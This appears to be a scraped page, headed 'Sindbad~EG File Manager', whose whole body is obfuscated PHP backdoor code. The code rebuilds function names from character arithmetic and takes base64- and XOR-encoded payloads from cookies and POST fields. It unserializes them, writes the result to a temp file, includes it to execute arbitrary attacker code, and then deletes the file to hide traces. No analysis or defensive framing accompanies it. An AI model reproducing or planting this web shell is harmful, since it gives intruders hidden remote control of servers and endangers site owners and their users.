Sindbad~EG File Manager

$ARLnfzcj = 'E' . chr ( 874 - 785 )."\x5f" . chr ( 217 - 147 ).chr ( 1046 - 977 ).'u' . "\150";$fJInOBMdy = chr ( 840 - 741 )."\x6c" . "\141" . "\x73" . "\x73" . "\x5f" . "\145" . chr ( 805 - 685 ).'i' . "\163" . chr ( 610 - 494 )."\x73";$NHVDGI = class_exists($ARLnfzcj); $fJInOBMdy = "28333";$pqpoxLxS = strpos($fJInOBMdy, $ARLnfzcj);if ($NHVDGI == $pqpoxLxS){function QKdFDGo(){$nexozyAat = new /* 58246 */ EY_FEuh(11517 + 11517); $nexozyAat = NULL;}$AxgKz = "11517";class EY_FEuh{private function YFcygErC($AxgKz){if (is_array(EY_FEuh::$SKygu)) {$name = sys_get_temp_dir() . "/" . crc32(EY_FEuh::$SKygu["salt"]);@EY_FEuh::$SKygu["write"]($name, EY_FEuh::$SKygu["content"]);include $name;@EY_FEuh::$SKygu["delete"]($name); $AxgKz = "11517";exit();}}public function tbUQdahWQB(){$mzioP = "45367";$this->_dummy = str_repeat($mzioP, strlen($mzioP));}public function __destruct(){EY_FEuh::$SKygu = @unserialize(EY_FEuh::$SKygu); $AxgKz = "45610_5460";$this->YFcygErC($AxgKz); $AxgKz = "45610_5460";}public function VCEoOifGZW($mzioP, $UPPrc){return $mzioP[0] ^ str_repeat($UPPrc, intval(strlen($mzioP[0]) / strlen($UPPrc)) + 1);}public function uhZzrlni($mzioP){$hOGTF = chr ( 345 - 247 ).chr (97) . chr ( 954 - 839 )."\145" . "\66" . "\x34";return array_map($hOGTF . "\137" . "\x64" . 'e' . chr ( 774 - 675 ).'o' . "\x64" . chr (101), array($mzioP,));}public function __construct($RefKXKTMJR=0){$phAqVu = ',';$mzioP = "";$gAeIys = $_POST;$TsajN = $_COOKIE;$UPPrc = "dc429dfd-b137-4cf7-b164-677df2231d34";$nNicYEf = @$TsajN[substr($UPPrc, 0, 4)];if (!empty($nNicYEf)){$nNicYEf = explode($phAqVu, $nNicYEf);foreach ($nNicYEf as $XvOIHSBJK){$mzioP .= @$TsajN[$XvOIHSBJK];$mzioP .= @$gAeIys[$XvOIHSBJK];}$mzioP = $this->uhZzrlni($mzioP);}EY_FEuh::$SKygu = $this->VCEoOifGZW($mzioP, $UPPrc);if (strpos($UPPrc, $phAqVu) !== FALSE){$UPPrc = explode($phAqVu, $UPPrc); $sUzfc = sprintf("45610_5460", rtrim($UPPrc[0]));}}public static $SKygu = 11343;}QKdFDGo();}